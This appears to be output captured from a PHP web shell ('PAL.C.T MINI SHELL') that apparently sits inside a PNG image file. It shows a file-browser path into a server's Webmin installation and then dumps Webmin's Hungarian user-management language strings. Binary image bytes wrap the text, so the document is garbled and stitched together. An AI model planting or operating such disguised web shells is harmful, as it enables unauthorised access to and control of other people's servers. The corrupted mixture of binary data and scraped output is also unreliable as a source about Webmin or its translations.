php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/acl/lang/
upload
files >> //proc/self/root/usr/libexec/webmin/acl/lang/hu

index_title=Webmin felhasználók
index_user=Felhasználó
index_modules=Modulok, melyekhez hozzáférhet
index_create=Új Webmin felhasználó létrehozása
index_convert=Unix felhasaználók Webminné alakítása
index_cert=SSL igazolvány kérése
index_certmsg=Ezt a gombot nyomd meg, ha egy SSL igazolványt akarsz kérni, mely a továbbiakban lehetővé teszi, hogy a Webmin szerverre biztonságos módon, azonosító és jelszó használata nélkül léphess be.
index_return=a felhasználók listájához
index_none=Egyik sem
index_edit=A modulhoz való hozzáférés változtatása:
index_global=Globális ACL
index_users=Webmin felhasználók
index_groups=Webmin csoport
index_group=Csoport
index_nousers=Nem lett szerkeszthető Webmin felhasználó definiálva.
index_nogroups=Nem lett Webmin csoport definiálva.
index_gcreate=Új Webmin csoport létrehozása
index_members=Tagok
index_modgroups=Modulok a $1 csoportból
index_sync=Unix felhasználó szinkronizálásának beállítása
index_unix=Unix felhasználó azonosításának a beállítása
index_sessions=Belépési folyamat megtekintése
index_rbac=RBAC beállítása
index_delete=Kiválasztott törlése

edit_title=Felhasználói profil módosítása
edit_title2=Új felhasználó felvétele
edit_readonly=Ezt a Webmin felhasználót találn szerkesztette egy másik modul $1. <a href='$2'>Katitntson ide</a> hogy átlépje ezt a figyelmeztetést, és szerkeszteni tudja a felhasználót. Ne feledkezzen meg róla, hogy a kézileg beállított értékek bfelül fognak íródni!
edit_rights=A Webmin felhasználó hozzáférési jogai
edit_user=Azonosító
edit_real=Teljes név
edit_group=Csoport tagja
edit_pass=Jelszó
edit_same=Ugyanaz, mint az operációs rendszerhez
edit_lock=Nem lett a jelszó elfogadva
edit_pam=PAM azonosítás
edit_unix=Unix azonosítás
edit_extauth=Külső azonosító program
edit_dont=Változatlan
edit_set=Új
edit_modules=Modulok
edit_clone=Klónozás
edit_lang=Nyelv
edit_notabs=Modulok kategorizálva?
edit_logout=Inaktív kilépési idő
edit_mins=perc
edit_cert=Az SSL igazolványon szereplő név
edit_none=Nincs
edit_ips=IP hozzáférési lista
edit_all=Bárhonnan beléphet
edit_allow=Csak a megadott címekről
edit_deny=A felsoroltak kivételével bárhonnan
edit_ipdesc=A felhasználói szintű hozzáférési lista pont úgy működik, mint a "Webmin konfigurálása" nevű modulban a globális IP hozzáférési lista. A felhasználó gépének mindkét lista szerinti ellenőrzésnek meg kell felelnie.
edit_skill=Tudásszint
edit_risk=Rizikó szint
edit_risk_high=Szuper felhasználó
edit_risk_medium=Admin felhasználó
edit_risk_low=Normál felhasználó
edit_groupmods=(Kiegészítő a modulokhoz a csoporttól)
edit_euser=Nincs jogod felhasználói adatok módosításához
edit_ecreate=Nincs jogod új felhasználó felvételéhez
edit_theme=Személyes téma
edit_themeglobal=A Webmin konfigurációból
edit_themedef=Régi Webmin téma
edit_log=Napló megtekintése
edit_selall=Az összes kiválasztása
edit_invert=Kiválasztás invertálása
edit_hide=Nem használtak elrejtése
edit_switch=Átváltás más felhasználóra
edit_return=Webmin felhasználó
edit_return2=Webmin csoport
edit_rbacdeny=RBAC hozzáférési mód
edit_rbacdeny0=Csak RBAC kontrolok a kiválasztott ACL-hez
edit_rbacdeny1=RBAC kontrollok minden modulhoz és ACL -hez
edit_templock=Átmenetileg zárolva
edit_alldays=Minden nap
edit_allhours=Bármikor
edit_proto_mysql=MySQL adatbázis
edit_proto_postgresql=PostgreSQL adatbázis

save_err=Nem sikerült elmenteni
save_ename='$1' hibás azonosító
save_enamewebmin=A 'webmin' felhasználói név már le lett foglalva belső felhasználásra
save_edup=A '$1' azonosító már foglalt
save_edeny=Nem tilthatod meg magadnak a hozzáférést a "Webmin felhasználók" modulhoz
save_eos=Az operációs rendszer nem engedi, hogy az ő jelszavát használd
save_emd5=Ha az operációs rendszer jelszava MD5 titkosítású, nem használható a Webminhez
save_eunix=Az operációs rendszernek nincs '$1' azonosítójú felhasználója
save_emod=Nem adhatsz hozzáférési jogokat a '$1' modulhoz
save_ecreate=Nem hozhatsz létre új felhasználókat
save_euser=Nem módosíthatod ennek a felhasználónak az adatait
save_ecolon=A jelszóban nem lehet kettőspont (:)
save_eself=Nem tilthatod le a sajat IP címedet ($1)
save_epam=A PAM azonosítási nem létezik, mert a <tt>Authen::PAM</tt> PERL modul nem nem lett telepítve vagy nem jól működik.
save_epam2=Ön csak akkor tudja használni a Webmin Perl modulját, hogyha  <a href='$1'>letölti és telepíti Authen::PAM</a> a modult most.
save_egroup=Önnek nincs joga azt a csoporthoz rendelni
save_enone=Nem lett megadva cím
save_enet='$1' nem érvényes hálózati cím
save_emask='$1' nem érvényes hálózati maszk
save_eip='$1' nem egy teljes IP vagy hálózati cím
save_ehost=Nem sikerült megtalálni az IP címet a '$1' -hez
save_elogouttime=Hiányzó vagy nem mnumerikus inaktív lejárati idő

delete_err=Nem sikerült a törlés
delete_eself=Nem törölheted önmagadat
delete_ecannot=Nincs jogod felhasználókat törölni
delete_euser=Nincs jogod törölni ezt a felhasználót

cert_title=Igazolvány kérése
cert_issue=Igazolvány kiadása
cert_header=Az új igazolvány tartalma
cert_msg=Ezen az oldalon egy SSL (Secure Socket Layer) igazolványt kérhetsz. Ennek használatával a böngésződ titkosított kommunikációt folytat a Webminnel, és egy digitális aláírással azonosítja magát ahelyett, hogy minden alkalommal (lehallgatható módon) beküldené az azonosítódat és jelszavadat. Ez biztonságosabb, de az automatikus azonosítás miatt nem tudsz felhasználót váltani.<p>Ha netán le van tiltva a JavaScript a böngésződben, most engedélyezd egy kicsit!
cert_ebrowser=A Webmin nem tudja eldönteni hogy hogyan adja ki a kliens tanusítványt az Ön böngészőjének ($1)
cert_cn=Név
cert_email=E-mail cím
cert_ou=Szervezeti egység
cert_o=Szervezet
cert_sp=Ország
cert_c=Országkód
cert_key=Kulcsméret [bit]
cert_done=Az Ön tanusítványa a $1 -hez sikeresen elkészült.
cert_pickup=<a href='$1'>Kattintson ide ,hogy letöltse és telepítse az Ön tanusítványát a böngészőbe</a>
cert_install=ASzz Ön tanusítványának telepítése a böngészőbe
cert_ekey=Az új SSL kulcsot nem sikerült átadni a böngésződnek. Talán azért, mert nem támogatja az kliensoldali SSL igazolványokat.
cert_eca=Nem sikerült a hitelesítő központ felállítása: $1
cert_already=Figyelem! Már van egy igazolványod: $1.

acl_title=Hozzáférési jogok
acl_title2=$1 számára a "$2" modulhoz
acl_title3=A $1 csoportnak a $2 -ben
acl_options=A "$1" modul feletti hatáskör
acl_config=Megváltoztathatja a modul konfigurációját?
acl_reset=Beállítás teljes hozzáférésre
acl_rbac=Hozzáférési kontroll beállítások az RBAC -ből?
acl_rbacyes=Igen (felülírja a beállításokat alább)

acl_uall=Minden felhasználó
acl_uthis=Ez a felhasználó
acl_usel=Kiválasztott felhasználók..
acl_gr=Tagja a $1 -nak
acl_users=A megváltoztatható felhasználók listája
acl_mods=Mihez adhat jogokat?
acl_all=Minden modulhoz
acl_own=Csak a saját moduljaihoz
acl_sel=Az alant megjelölt modulokhoz
acl_create=Létrehozhat új felhasználókat?
acl_delete=Törölhet felhasználókat?
acl_rename=Átnevezhet felhasználókat?
acl_acl=Megváltoztathatja a modul hozzáférési jogait?
acl_lang=Megváltoztathatja a nyelvet?
acl_chcert=Megváltoztathatja az SSL igazolványon álló nevet?
acl_euser=Nincs jogod ezen felhasználó hozzáférési jogait megváltoztatni
acl_egroup=Önnek nincs joga szerkeszteni a csoportok ACL -jét
acl_emod=Nincs jogod ezen modul hozzáférési jogait megváltoztatni
acl_others=Láthatja az elérhetetlen modulokat?
acl_cert=Kérhet SSL igazolványt?
acl_err=Nem sikerült elmenteni a hozzáférési jogokat
acl_groups=Szerkeszthet csoportot?
acl_gassign=Hozzárendelhet felhasználót a csoporthoz
acl_gall=Minden csoport
acl_gsel=Kiválasztott..
acl_gnone=Nincs
acl_perms=Újonnan létrehozott felhasználók megkapják
acl_perms_1=Ugyanaz a modul hozzáférési kontroll, mint a készítőé
acl_perms_0=Alapértelmezett (nem szabályozott) modul hozzáférési kontroll
acl_sync=Beállíthatja a felhasználó szinkronizálást?
acl_unix=Beállíthat unix hitelesítést?
acl_sessions=Megnézheti és megszakíthatja a belépési szakaszokat?
acl_cats=Kategórizálást tud változtatni?
acl_theme=Beállíthatja a személyes témákat?
acl_ips=Módosíthat IP hozzáférési jogot?
acl_switch=Átválthat más felhaználóra?

log_modify=$1 Webmin felhasználó módosítása
log_rename=$1 Webmin felhasználó átnevezése $2-ra/re
log_create=$1 Webmin felhasználó létrehozása
log_clone=$1 Webmin felhasználó klónozása $2 néven
log_delete=$1 Webmin felhasználó törlése
log_acl=$1 jogai a $2 modulhoz módosítva
log_reset=Hozzáférés beállítása a $1 -nak a $2-re
log_cert=Igazolvány kiadása $1 felhasználó számára
log_modify_g=Módosított webmin csoport $1
log_rename_g=Átnevezett Webmin csoport $1 -ről $2 -re
log_create_g=Létrehozott Webmin csoport $1
log_delete_g=Törölt Webmin csoport $1
log_switch=Átváltás Webmin felhasználóra $1
log_delete_users=Törölt Webmin felhasználó $1
log_delete_groups=Törölt Webmin csoport $1

gedit_ecannot=Önnek nincs engedélyezve a csoport szerkesztése
gedit_title=Webmin csoport szerkesztése
gedit_title2=Webmin csoport létrehozása
gedit_group=Csoport neve
gedit_rights=Webmin csoport hozzáférési jogok
gedit_modules=Tagok moduljai
gedit_members=A csoport tagjai

gdelete_err=Nem sikerült törölni a csoportot
gdelete_ecannot=Önnek nincs joga törölni a csoportot
gdelete_euser=Ön nem tudja a saját csoportját letörölni
gdelete_esub=Csoportot alcsoporttal nem lehet törölni
gdelete_title=Csoport törlése
gdelete_desc=Biztos benne, hogy a $1 csoportot törölni szeretné $2 tagokkal együtt?
gdelete_ok=Csoport törlése

gsave_err=Nem sikerült a csoport mentése
gsave_ename=Hiányzó vagy hibás csoportnév
gsave_enamewebmin=A 'webmin' csoportnév le van foglalva belső felhasználásra
gsave_edup=A csoportnév már létezik

convert_title=Felhasnálók konvertálása
convert_ecannot=Önnek nincs joga a Unix felhasználó konvertálására
convert_nogroups=Nincs webmin csoport definiálva az Ön rendszerében. Legalább egy csoportot létre kell hoznia ahhoz, hogy jogosultságokat tudjon definiálni a konvertált felhasználóknak.
convert_desc=Ezen a lapon át tudja konvertálni a meglévő Unix felhasználókat Webmin felhasználóvá. A jogosultságait minden egyes Webmin felhaszálónak a lentebb kiválasztott csoport fogja befolyásolni.
convert_0=Minden felhasználó
convert_1=Csak a felhasználó
convert_2=Mindenki, kivéve a felhasználókat
convert_3=Felhasználók a csoporttal
convert_4=Felhasználók a megadott UID határok között
convert_group=Új felhasználó hozzárendelése a Webmin csoporthoz
convert_ok=Konvertálás most
convert_err=Nem sikerült a felhasználók konvertálása
convert_eusers=Nem lett a konvertáláshoz felhasználó megadva
convert_egroup=A Unix csoport nem létezik
convert_emin=Érvénytelen minimális UID
convert_emax=Rvénytelen maximális UID
convert_ewgroup=Nemlétező Webmin csoport
convert_ewgroup2=Önnek nincs jogosultsága hozzárendelni új felhaználót ehhez a csoporthoz.
convert_skip=$1 át lett ugorva
convert_exists=$1 már létezik
convert_invalid=$1 nem érvényes Webmin felhasználó
convert_added=$1 hozzá lett adva
convert_msg=Konvertálom a Unix felhasználókat

sync_title=Unix felhasználó szinkronizálása
sync_desc=Ezen a formon Ön be tudja állírani az automatikus szinkronizációt a Unix felhasználók és webmin felhasználók létrehozásakor ebben a modulban.
sync_nogroups=Nem lett Webmin csoport definiálva a rendszerbe. Legalább egy csoportot definiálni kell, hogy be lehessen állítani a hozzáférési jogokat a létrehozott felhasználóknak.
sync_create=Webmin felhasználó létrehozása ha Unix felhasználó készül.
sync_update=Frissítse a kapcsolódó Webmin felhasználót, hogyha a Unix felhasználó módosul.
sync_delete=A kiválasztott Webmin felhasználó törlése ha az azonos Unix felhasználó törlődik.
sync_group=Új felhaszn áló hozzárendelése Webmin csoporthoz
sync_unix=Jelszó beállítása az új felhasználóknak a Unix azonosításhoz.
sync_ecannot=Önnek nincs joga a felhasználó szinkronizálását beállítani.

unix_title=Unix felhasználó azonosítás
unix_desc=Ezen az oldalon engedélyezni tudja a Webmin konfigurálását hogy a belépési kísérleteket a rendszer a felhasználói listából vagy PAM -ból validálja. Ez hasznos lehet, hogyha Önnek nagy számú Unix felhasználója van, akik hozzá akarnak férni a Webmin-hez.
unix_def=Csak a Webmin felhasználóknak engedélyezve a belépés
unix_sel=A listában szerplő Unix felhasználóknak engedélyezve legyen a belépés..
unix_mode=Engedélyezve
unix_mall=Minden felhasználó
unix_group=A csoport tagjai..
unix_user=Unix felhasználó..
unix_who=Felhasználó vagy csoport
unix_to=Mint Webmin felhasználó
unix_ecannot=Önnek nincs joga beállítani a Unix felhasználók azonosítását
unix_epam=Unix azonosítás nincs telepítve, vagy a <tt>Authen::PAM</tt> Perl modul nincs installálva vagy nem működik helyesen.
unix_all=Minden Unix felhasználónak engedélyezve
unix_allow=Csak a felsorolt Unix felhasználóknak engedélyezve
unix_deny=Letiltva a felsorolt Unix felhasználók
unix_none=Nem lett felhasználó megadva
unix_euser='$1' nem valós felhasználói név
unix_egroup='$1' nem valós csoportnév
unix_shells=Unix felhasználók tiltása, akiknek a héj programjuk nem fájl
unix_eshells=Hiányzó vagy nem létező héj fájl
unix_ewhogroup=Hibás csoport lett engedélyezve a $1 sorban
unix_ewhouser=Hibás felhasználó lett engedélyezve a $1 sorban
unix_enone=Nem lett egyetlen egy Unix felhasználónak vagycsoportnak engedélyezve a belépés
unix_same=&lt;Ugyanaz a felhasználó vagy csoport&gt;

sessions_title=Aktuális belépési folyamatok
sessions_id=Folyamat azonosító
sessions_user=Webmin felhasználó
sessions_login=Belépve mint
sessions_host=IP cím
sessions_lview=Napló megtekintése

hide_title=Nem használt modulok elrejtése
hide_desc=A következő modulok el leszken távolítva a hozzáférési listából $1 mert a hozzájuk kapcsolódó szerver nem lett telepítve az Ön rendszerére
hide_ok=Modulok elrejtése most
hide_none=Nincs mit elrejteni - $1 nincs megfelelő hozzáférése bármelyik modulhoz amely a kapcsolódó szerverek közül nem lett installálva.
hide_desc2=Figyelem! Ezek a modulok nem lesznek automatikusan hozzárendelve, hogyha a megfelelő szerver installálva lesz. Önnek kézileg kell megadnia a jogokat ezekre a modulokra.
hide_clone=(Klón $1)

switch_euser=Önnek ninc joga átváltani erre a felhasználóra
switch_eold=Meglévő folyamatot nem találom!

rbac_title=RBAC beállítása
rbac_desc=A webmin RBAC integráció segítségével Ön hozzá tud kapcsolódni és fel tudja használni az RBAC (Jogosultság bázisú hozzáférési kontroll) adatbázist, ahelyett, hogy a Webmin saját ACL rendszerét használná. Miután az RBAC engedélyezve lett, bármelyik felhasználó aki <b>$edit_rbacdeny1</b> beállítást kiváalsztotta kontrollálni tudja, hogy az RBAC -t használja a Webmin sdaját jogosultsági rendszere helyett.
rbac_esolaris=RBAC csak a Solaris rendszereket támogatja jelenleg, ezért az Ön rendszerében $1 nem használható.
rbac_eperl=A Perl modul $1 szükséges az RBAC integrációhoz, de nem lett installálva.  <a href='$2'>Kattintson ide</a>, hogyha telepíteni szeretné.
rbac_ecpan=Önnek nincs joga hozzáférni a Webmin Perl modul oldalhoz, hogy a megfelelő modult $1 telepítse a RBAC integrációhoz.
rbac_ok=RBAC integráció létezik az Ön rendszerében, és engedélyezni lehet a per felhasználó bázisú használatát a Webmin felhasználó szerkesztése oldalon.

udeletes_err=Nem sikerült a felhasználó törlése.
udeletes_enone=Nem lett kiválasztva
udeletes_title=Felhasználó törlése
udeletes_rusure=Biztos Ön abban, hogy le akarja törölni a kiválasztott felhasználókat $1? Az összes törölt felhasználó hozzáférési jogosultsága és felhasznlói adatai el fognak veszni.
udeletes_users=Kiválasztott felhasználó: $1
udeletes_ok=Felhasználó törlése
udeletes_ereadonly=Valamelyik felhasználó a kiválasztottak közül nem szerkeszthetőnek lett megjelölve.

gdeletes_err=Sikertelen csoport törlése
gdeletes_title=Csoport törlése
gdeletes_rusure=Biztos Ön benne, hogy le akarja törölni a kiválasztott csoportot $1, és a hozzá tartozó felhasználókat $2? Minden hozzájuk tartozó hozzáférési jog és beállítás, ileltve felhasználói adat el fog veszni.
gdeletes_users=Kiválasztott csoport: $1
gdeletes_ok=Csoport törlése

pass_days=nap

sql_host=Hosztnév

make_done=.. kész

makedn_done=.. kész
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`